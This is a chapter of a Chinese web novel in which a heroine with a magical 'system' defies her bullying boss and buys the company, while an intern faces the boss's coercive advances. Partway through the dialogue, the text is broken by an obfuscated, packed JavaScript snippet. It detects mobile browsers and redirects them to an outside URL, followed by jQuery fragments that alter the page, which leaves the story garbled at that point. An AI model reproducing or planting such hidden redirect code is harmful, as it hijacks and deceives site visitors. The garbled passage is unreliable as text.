“我只负责自己的工作。”
见秦傅金这么硬气,有几人悄悄抬头瞄她。
心底纷纷惊叹,秦傅金今天是吃了什么牌子的豹子胆。
官大一级压死人,顶头上司讲话,都没人敢吭声的。
黄龙一听气就来了,登时端出老板威慑来:“你不干也得干,今天之内做好,什么时候做完什么时候下班。”
你家大爷知道你这么坏吗?
一股压制很久、不吐不快的愤懑,像是揭开了盖子,当即就要喷薄而出。
“你们这些老板,别人喊你一声总,你还真把自己当碟子菜了。
“没点官当着,还整副官架子架着。
“你当你是烤鸭架呢!
“烤鸭架也比你来得香!”
【……!】
“!!!”
“!!!”
“!!!”
同事们阒然无声,随着傅金一句一句往外攻击,内心像是被扔下一枚接着一枚的巨雷,掀起惊涛骇浪。
呼吸停滞般放缓了,生怕有一场暴风雨要来临。
系统:看来宿主攻击力数值已经拉满了。
眼前这个人,和没绑定时对自己老板敢怒不敢言的那个傅金,简直判若两人。
眼下唯有四个字形容:浑身是胆。
“你这是对上司说话的态度吗?”
黄龙阴沉着脸扫过下属们一个个低垂着的头。
那副样子,像是只要有人敢抬头、表示自己正在听,就要有“好日子”过了。
傅金没说话,知道黄某是只纸老虎后,看他的有些动作都隐约觉得有点搞笑。
他明知下属们一定看了他的笑话,还要死撑面子,看谁敢抬头就给谁好看。
黄某这类人都是欺软怕硬的,有了上一次的教训,哪怕他不信,也是心存顾虑的。
她只是视线慢慢下移——
黄龙突兀地感受到一道如有实质的冰凉视线,两腿神经质地一个打抖。
仿佛那种刻骨铭心的痛觉又闪现了。
想起上次,黄龙既咬牙切齿,又惶恐后怕,可还是梗着脖子:“你不能做就让给别人做,多的是人想做。”
你不能胜任工作,我总能辞退你吧。黄龙心里想。
他向办公室走去,路过工位,眼神在沈言身上定住。
在沈言和傅金两人身上来回打个转,脑中精光一闪:“那个实习生,你进来,我有话跟你说。”
傅金看着沈言的背影,一皱眉。
沈言虽然实习时间截止目前还没满一个月,但和原主却是很亲厚的。
原主坠楼后,第一时间察觉不对的是她,第一时间报警的也是她,这才能让黄龙这个罪魁祸首接受法律的惩罚。
【主线任务:请宿主在一小时内花完八千万】
傅金回神:小统子,你是越来越明白我的心意了~爱你(づ ̄3 ̄)づ╭~
【……】变脸这一块,宿主还是太超纲了。
你从黄某办公室救了我,我没忘,谢谢你,再亲一口?(°?‵?′??)
蓝色光球在傅金脑海里做了个撇头的动作,它不习惯这么亲密的言语举动:【……婉拒】
傅金眼尖,小统子,你小光头红了哦。
【……!】
这是我的耳朵!你礼貌吗!
——
办公室内。
“你的实习期过了一个月了是吧?”
“我先给你安排这周的工作,先拍五个出镜视频,剪辑的话跟组长那边的合作对接,她会告诉你。”
沈言安稳坐在黄龙对面沙发上,两腿并拢,后背并没靠在沙发上,很礼貌却也略显拘谨:“嗯。”
只是她心里有一个疑问,“这个出镜视频,是需要我出镜是吗?”
“对。”
“应聘的时候面试官并没有说,”沈言尴尬地笑了笑,她怕话掉地上,“岗位也是新媒体剪辑拍摄,没有……”
黄龙打断她:“岗位信息有限,难道所有工作内容都得事无巨细写在上面吗?”
这不是诈骗吗?
沈言知道自己冒昧,但这话一定要说。
她装作天真无知,状似开玩笑:“出镜可以找主播,他们更专业也更有镜头感,流量效果一定比我好啊。”
“你还是太年轻了,公司请一个主播又是一份投资,现有的岗位工作内容就是很少的,只是热季稍微忙点,现在都没什么活干。”
当下要是傅金在的话,她一定会吐槽:
哇靠!
没活干的是你吧!
请蚊子上身了吗?这么能吸血。
——
“李总,你的公司我买了。”
傅金没有寒暄。
对方一愣,第一反应像是听到笑话一般觉得好笑:“助理说有人非要见我,放话说不见的话我一定会后悔,我还当是谁呢。”
傅金将一份极简的意向书推到对方面前:“人不可貌相,你不看的话才是真的会后悔。”
这份意向书是她出钱临时让律师拟的。
她悄无声息打量对方。
李总和黄龙截然不同,他一身儒雅气质,架着一副无框眼镜,只是镜片流转间会泄露属于商人的精明市侩。
“你是我们公司员工吧,你一个年轻小姑娘虽然家世不错,但也不能这么大放厥词吧,还是乖乖回去上班为好。”
他和黄龙是合伙人,有听黄龙提起过秦傅金,秦家的独生小姐。
就算家里再溺爱,难道还能出钱任由她张口闭口买公司?
对他来说,这何止是年轻气盛,这是不知天高地厚。
“我劝你还是先看看报价,”傅金示意文件,“希望李总你别惊掉下巴。”
可笑。
李总摇摇头,一脸拿小辈没办法的样子,他倒要看看这个秦傅金葫芦里还能卖什么药。
拿起文件随意一瞟,转瞬间瞳孔放大:
“这、这个价格……比市场估值高出10%!”
他压制住内心如地动山摇般的惊诧,忍不住怀疑探究,“秦小姐你不是逗我的吧?你能拿得出这么多钱吗?”
“八千万。”傅金果断再提高一百万。
李总呼吸一瞬变得急促,内心剧烈挣扎,他已经相信了,可还是试图榨一榨秦傅金:
“公司就像我的孩子,它是我的心血,这不是金钱能衡量的……”
“还能有钱解决不了的事情?那就是钱不够多了?”面前的女生轻笑一声,仿佛听到了一个过时的笑话,“不是我说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565819|204750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,李总,你别太得寸进尺了。
“当我看不出来呢?
“别把别人当成傻子。
“你犹豫,我现在就走,去楼下买你的竞争对手。”
傅金转身就走。
“……”李总表情险些龟裂。
这个秦傅金怎么不按常理出牌!
“等一下!”李总脸涨得通红,声音有点干涩,他沉默良久。
片刻后又恢复为那个儒雅的商人形象,勾起一抹笑,脸上微微的皱褶让他显得格外和善。
“秦小姐,我需要和合伙人。”
这回,傅金的白眼没忍住:“别搞笑了。看得出来,你不是黄某那种禽兽。
黄…某?李修心里疑问,这是什么称呼?
“公司老板是换人了,不过你还是留在这给我打工吧?”
傅金眼眸一闪,拿出卡食指压着推到李修面前,“刚好有个事要你去给我调查,资料我会私发给你,没有问题吧?”
她临走前笑着询问,显得格外有礼貌家教。
“当然没有,秦小姐。”李修起身,模样恭敬。
门关上前,隐约传来女生的一句话:“这下躺着都能看见钱钱往我钱包里飞喽~”
【……】难怪刚才不接着追加钱,原来是生怕多花一分。
宿主正式确诊为存钱罐。
【恭喜宿主,该次主线任务已完成,八千万金额与八千万积分奖励已到账,请宿主查收】
傅金哼着歌离开:“今儿个老百姓~真呀真高兴~”
李总坐回办公椅,看着那份报价,有一种破天荒的荒谬感。
他喃喃自语:“黄龙,我也没办法,她给的实在太多了。”
——
沈言回忆这一个月来每天的工作量,整天盯着显示屏,下班回家眼睛里都是红血丝。
工作并不轻松。
见沈言不说话。
到底是刚出学校的大学生,黄龙内心一笑,见识少心态差,一戳就破了。
“我就是问问你这边的一个想法……”
“我不愿意。”沈言直言拒绝,表达态度。
黄龙一挑眉,压根没当回事,沈言的一举一动在他这儿连个小伎俩都算不上:
“我倒是可以帮你换岗位去别的位置,你和动画部门的小李换换,就是你没接触过,人家干了大半年了。
“这个岗位还需要跟我出公差,去应酬,见客户喝酒什么的,你一个小女生,怕你不能适应啊。
“你自己想想吧,好好考虑。”
黄龙半强迫着说话,说软话办硬事。
就算沈言挑得出刺来,也不敢当面点破,毕竟这年头的工作不好找。
“不过,你要是实在不愿意出镜的话,也不勉强。像你这么听话的员工,我当然得好好提拔你、培养你。
“漂亮可是女人在职场的利器。”他语重心长地。
“只要你别像是有些个刺头,提前转正、升职加薪,不都是我动动手指头的事?”
他越说靠得越近,沈言不是傻子,听得懂他的意思。
怎么办?
现在叫人来得及吗?外面听得见吗?
对方一个男人,块头又大,她一个会被对方用力量绝对压制的女生怎么对抗?